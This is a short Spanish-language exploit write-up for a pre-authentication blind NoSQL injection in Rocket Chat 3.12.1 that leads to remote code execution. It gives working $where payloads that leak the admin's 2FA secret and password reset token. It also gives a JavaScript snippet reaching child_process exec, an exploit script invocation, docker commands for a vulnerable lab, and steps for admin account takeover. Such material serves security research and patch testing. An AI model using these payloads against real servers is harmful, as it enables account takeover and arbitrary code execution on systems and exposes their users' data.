
Inyección NoSQL ciega sin autenticación previa que conduce a ejecución remota de código en Rocket Chat 3.12.1
Inyección NoSQL ciega sin autenticación previa que conduce a ejecución remota de código en Rocket Chat 3.12.1
Es muy probable que el usuario administrador esté protegido con 2FA. Así que incluso si cambiamos la contraseña del administrador mediante (1), al iniciar sesión se pedirá el código 2FA.
El endpoint de la API users.list acepta un parámetro de consulta que es vulnerable a inyección NoSQL. También podemos recuperar datos lanzando un error.
Ejecutamos la siguiente consulta para obtener el secreto 2FA del administrador : {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
A continuación, solo hacemos (1) para restablecer la contraseña del administrador y usamos el secreto 2FA para generar el código que podemos usar para iniciar sesión.
Actualizado : También puedes recuperar el token de restablecimiento de la misma manera en que recuperaste el secreto 2FA : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
NOTA: Si no quieres que el administrador esté protegido con 2FA, puedes hacer lo siguiente.
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)